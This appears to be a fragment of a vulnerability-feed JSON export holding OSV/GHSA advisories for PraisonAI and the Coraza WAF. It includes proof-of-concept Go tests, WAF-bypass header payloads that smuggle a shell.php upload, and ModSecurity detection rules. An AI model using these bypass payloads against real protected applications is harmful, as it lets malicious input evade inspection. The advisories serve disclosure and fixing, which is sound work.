v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: >= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html","cveId":"CVE-2026-60088","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-xpx6-x8c2-mw5w","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","type":"advisory","title":"OSV GHSA-xpx6-x8c2-mw5w"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands","type":"other","title":"OSV web"}],"epssScore":0.00182,"epssPercentile":0.07105,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:57:49.000Z","addedAt":"2026-10-08T18:42:41.748Z","updatedAt":"2026-10-08T18:42:41.748Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w"}]},{"id":"d6bbe1a7-c8fe-4f7a-a8a2-6d7b4396c996","slug":"ghsa-rp9v-7xv3-r6g3","externalId":"GHSA-rp9v-7xv3-r6g3","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i < 500; i++ {\n\t\tfmt.Fprintf(&sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(&sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(&sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(&peak)\n\t\t\t\t\tif n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(&peak),\n\t\tatomic.LoadInt64(&peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part.

Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if val == \"application/x-www-form-urlencoded\" {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n    tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n    return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza's body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"strings\"\n    \"testing\"\n\n    coraza \"github.com/corazawaf/coraza/v3\"\n    corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n    cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    backendSaw := \"\"\n    handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n        func(w http.ResponseWriter, r *http.Request) {\n            if err := r.ParseForm(); err != nil {\n                t.Fatal(err)\n            }\n            backendSaw = r.PostForm.Get(\"cmd\")\n            w.WriteHeader(http.StatusNoContent)\n        },\n    ))\n\n    req := httptest.NewRequest(\n        http.MethodPost,\n        \"http://example.test/\",\n        strings.NewReader(\"cmd=evil\"),\n    )\n    req.Header.Set(\n        \"Content-Type\",\n        \"application/x-www-form-urlencoded; charset=UTF-8\",\n    )\n\n    rec := httptest.NewRecorder()\n    handler.ServeHTTP(rec, req)\n\n    if rec.Code != http.StatusNoContent {\n        t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n    }\n    if backendSaw != \"evil\" {\n        t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN   TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go's `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`'s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule &REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text.

The guard in `readItems` only fires on `== 0`, so\ncounting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively\ndead on the response path. The request path is fine: `ProcessRequest` passes the\nconfigured limit (default 1024). There is no equivalent directive or default for\nresponses.\n\nParsing a deeply nested JSON response is CPU-bound and its cost grows\nquadratically with nesting depth. A 512 KiB response (the default\n`ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to\nprocess, keeping one core busy the whole time.\n\n### Root cause\n\n`internal/bodyprocessors/json.go`\n\n```go\nconst ignoreJSONRecursionLimit = -1                     // line 51\n\nfunc (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {\n    ...\n    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1\n}\n\nfunc (js *jsonBodyProcessor) ProcessRequest(...) error {\n    ...\n    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024\n}\n```\n\nThe guard and the decrement:\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {\n    if maxRecursion == 0 {                              // line 106\n        return errors.New(\"max recursion reached while reading json object\")\n    }\n    ...\n    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126\n```\n\nNote that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is\n`_`), so even a caller that wanted to set a limit on responses has no way to.\n\n### Why the cost is quadratic\n\nEvery nesting level re-parses the remaining nested document through\n`gjson.ForEach`, so total work is O(n²) in the depth.

The request path has enforced a recursion\nlimit since v3.3.3; responses never have.\n\n### Suggested fix\n\nBound `ProcessResponse` the same way the request path is bounded: add a\n`ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit`\ninstead of `-1`.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-674"],"tags":["osv","osv:ghsa-3c6w-j9xm-8h2h","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-3c6w-j9xm-8h2h","type":"advisory","title":"OSV GHSA-3c6w-j9xm-8h2h"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:42.000Z","addedAt":"2026-10-08T18:42:42.134Z","updatedAt":"2026-10-08T18:42:42.134Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-3c6w-j9xm-8h2h"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-3c6w-j9xm-8h2h"}]},{"id":"d6764108-209b-4173-ba4b-88116d3e686c","slug":"ghsa-3wr7-993q-jrff","externalId":"GHSA-3wr7-993q-jrff","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules","description":"## Summary\n\nCoraza extracts a multipart file upload's filename using Go's standard-library `mime.ParseMediaType`, which only decodes the RFC 5987/6266 extended `filename*` `Content-Disposition` parameter when its declared charset is exactly `us-ascii` or `utf-8`. Any other charset — including `iso-8859-1`, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the backend application in the same request.\n\n## Affected variables\n\n`FILES` (documented as *\"the original filenames as submitted by the client in the multipart upload\"*), `FILES_SIZES`, and the file-vs-field routing decision that determines whether a part is tracked as a file at all.\n\n`MULTIPART_FILENAME` is not affected. It is declared in Coraza but is not populated by any code path in the affected versions.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`'s `originFileName` calls `mime.ParseMediaType` on the raw `Content-Disposition` header and reads `dispositionParams[\"filename\"]`, which then populates `FILES`/`FILES_SIZES` for parts recognized as file uploads. Per RFC 7578 §4.2 and RFC 6266, when both `filename` and `filename*` are present, `filename*` is authoritative. Go's `mime.ParseMediaType` implements this precedence internally (`decode2231Enc` in `mediatype.go`), but only for `filename*` values whose charset token is `us-ascii` or `utf-8`:\n\n```go\n// mime/mediatype.go\nif charset != \"us-ascii\" && charset != \"utf-8\" {\n    // TODO: unsupported encoding\n    return \"\", false\n}\n```\n\nWhen `decode2231Enc` returns `false`, the stdlib silently leaves whatever was parsed for the plain `filename` parameter untouched (or leaves `filename` absent entirely if only `filename*` was supplied) — there is no error, no partial-parse indicator, nothing a caller can detect. The stdlib also discards the RFC 5987 `language` component of `filename*` entirely; it is not recoverable from the parsed params map at all.\n\n### Verified behavior (prior to the fix)\n\n| `Content-Disposition` fields | Effective filename (`FILES`) | Recognized as file upload? |\n|---|---|---|\n| `filename=\"safe.jpg\"; filename*=UTF-8''shell.php` | `shell.php` (correct) | yes |\n| `filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php` | `safe.jpg` (decoy wins) | yes, but with the wrong name |\n| `filename*=iso-8859-1''shell.php` (no plain `filename`) | *(none)* | **no** — processed as an ordinary form field into `ARGS_POST` instead |\n\nIn the second row, any rule inspecting `FILES` for a dangerous extension only ever sees `safe.jpg`, while a backend that follows RFC 7578 precedence and accepts `iso-8859-1` (an RFC-5987-legal, non-exotic charset) uses `shell.php` as the filename. In the third row, the upload skips file-specific rule scope and size-limit tracking (`FILES_COMBINED_SIZE`) entirely.\n\n## Impact\n\nA rule set that blocks file uploads by extension or name via `FILES` (or scopes rules to `FILES`/`FILES_NAMES`) can be bypassed by supplying the real filename via `filename*` under any charset other than `utf-8`/`us-ascii` — `iso-8859-1` is sufficient and is a standards-compliant choice, not an obscure or malformed one — optionally alongside an innocuous decoy `filename`. A part carrying only `filename*` additionally escapes file-vs-field routing, so `FILES`, `FILES_NAMES` and `FILES_COMBINED_SIZE` never see it.\n\nThe bypass is deterministic against Coraza and requires no authentication or user interaction. Its effect is bounded to filename-derived inspection: request body content, `ARGS` and headers are still inspected, and a part carrying only `filename*` is routed into `ARGS_POST`. Coraza itself neither stores nor serves the uploaded file, so whether an evaded rule was preventing a change of state depends on the backend's own `filename*` precedence handling and upload handling. This is scored as a scope-changing bypass with low integrity impact (`S:C`, `I:L`) rather than a direct compromise.\n\n## Proof of Concept\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php\n```\n\nProcessed through `internal/bodyprocessors/multipart.go` prior to the fix, `FILES` for this part contained `safe.jpg`. A `SecRule FILES \"\\.php$\"` (or similar extension-blocklist rule) did not fire, while a backend honoring RFC 5987/7578 `filename*` precedence uses `shell.php` as the filename.\n\n## Resolution\n\nFixed by locating and decoding `filename*` independently of `mime.ParseMediaType`'s charset restriction (a quoted-string-aware scanner over the raw header). The fix also populates `MULTIPART_FILENAME`/`MULTIPART_NAME`, which were previously declared but unpopulated.\n\n**Both readings are exposed, not just `filename*`.** An earlier version of this fix made `filename*` unconditionally authoritative over the plain `filename`, per RFC 7578 §4.2 — this closed the PoC above but relocated the same bypass: swap which field carries the real name (`filename=\"shell.php\"; filename*=iso-8859-1''safe.jpg`) and a backend that resolves the plain `filename` instead is missed, since the discarded reading never reached `FILES` at all. Fixed in `89399e67`: when a well-formed `filename*` picks a different value than the plain `filename`, both are added to `FILES`/`FILES_SIZES`/`MULTIPART_FILENAME` for the same part (one temp file, one byte count, two names). A `SecRule FILES \"\\.php$\"` now catches the payload regardless of which field carries the real name.\n\nCoraza does not select a \"safe\" charset allowlist on the operator's behalf. Instead, `filename*`'s declared charset and language are exposed as their own rule-matchable collections, `MULTIPART_FILENAME_CHARSET` and `MULTIPART_FILENAME_LANGUAGE`, alongside `MULTIPART_FILENAME`, so operators can enforce their own allowlist. Design credit: **@airween**.\n\nFor `Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php`:\n\n```\nMULTIPART_FILENAME:upload          = [shell.php, safe.jpg]   (filename* first, plain filename kept alongside)\nMULTIPART_FILENAME_CHARSET:upload  = UTF-8\nMULTIPART_FILENAME_LANGUAGE:upload = \"\"           (empty string; language is optional)\n```\n\nRule writers can enforce a charset allowlist directly. Use an anchored regex\nrather than `@within`:\n\n```\nSecRule MULTIPART_FILENAME_CHARSET:upfile \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \\\n    \"id:199,phase:2,t:none,t:lowercase,deny\"\n```\n\n`!@within utf-8,iso-8859-1,us-ascii` looks equivalent and is not. `@within`\ntreats its parameter as the haystack and the variable as the needle, so an\nempty value is trivially contained in it and the negation never fires. A\n`filename*` that declares no charset at all — `filename*=''shell.php`, which\nRFC 5987's grammar does not permit but which Coraza accepts and exposes rather\nthan rejecting — therefore passes an `@within` allowlist untouched. Measured:\n\n| `MULTIPART_FILENAME_CHARSET` | `!@within utf-8,...` | `!@rx ^(?:utf-8\\|...)$` |\n|---|---|---|\n| `UTF-8` | quiet | quiet |\n| `shift_jis` | fires | fires |\n| *(empty, from* `filename*=''...`*)* | **quiet** | fires |\n\nBoth spellings stay quiet on a part with no `filename*` at all, because the\ncollections are then absent rather than empty and the rule never evaluates.\nThat is what makes an allowlist rule safe to apply to all traffic rather than\nonly to known upload fields.\n\n### Discrepancies are no longer dropped silently\n\nThe same silent-fallback pattern this advisory describes existed on two neighbouring paths: a part whose `Content-Disposition` was present but unparseable, and a part carrying a `filename*` that did not match the `charset'[language]'value` shape at all. Both were reduced to a part with no filename — routed into `ARGS_POST`, outside `FILES`-scoped rule coverage, with nothing to signal that a filename had been discarded.\n\nBoth now raise `MULTIPART_STRICT_ERROR` (rule 200003 in CRS). A part with *no* `Content-Disposition` at all is not flagged: it simply carries no filename. `mime.ParseMediaType` accepts every real-world filename shape tested — raw UTF-8 and emoji, spaces, Windows backslashes, a bare `%`, unquoted values — so this signal does not reach legitimate uploads.\n\n### New variable: `MULTIPART_DUPLICATE_PART_HEADER`\n\nSet to `1` when a part repeats a header (two `Content-Disposition` headers) or repeats a parameter inside its `Content-Disposition` (two `filename` parameters). A duplicate is precisely where backends disagree about which value wins, so the duplicate itself is the signal; it also contributes to `MULTIPART_STRICT_ERROR`.\n\n```\nSecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:201,phase:2,deny,t:none,chain\"\n  SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"\n```\n\nModSecurity adds the same variable in its fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) and lists it in the recommended audit-log format as `DH`. Coraza implements it under the same name so that a rule set referencing it parses on both engines.\n\n### Note on percent-decoding\n\nCoraza percent-decodes the `filename*` value, so `MULTIPART_FILENAME` and `FILES` hold the name the application will actually resolve. This matters for rules that match on file extension: CRS 933110 and 944140 target `FILES` with `t:none,t:lowercase,t:removeWhitespace` and perform no URL decoding, so an encoded separator such as `filename*=UTF-8''shell%2Ephp` would evade them if the raw value were stored instead. ModSecurity's fix stored the raw, still-encoded value when this was first written; after the difference was raised on its advisory it now percent-decodes as well, so the two engines agree on this point.\n\n### Three further discrepancies found in post-fix review\n\nReviewing the fix (`23446b5e`) against test coverage turned up three more cases where Coraza's parsed value could disagree with what a backend 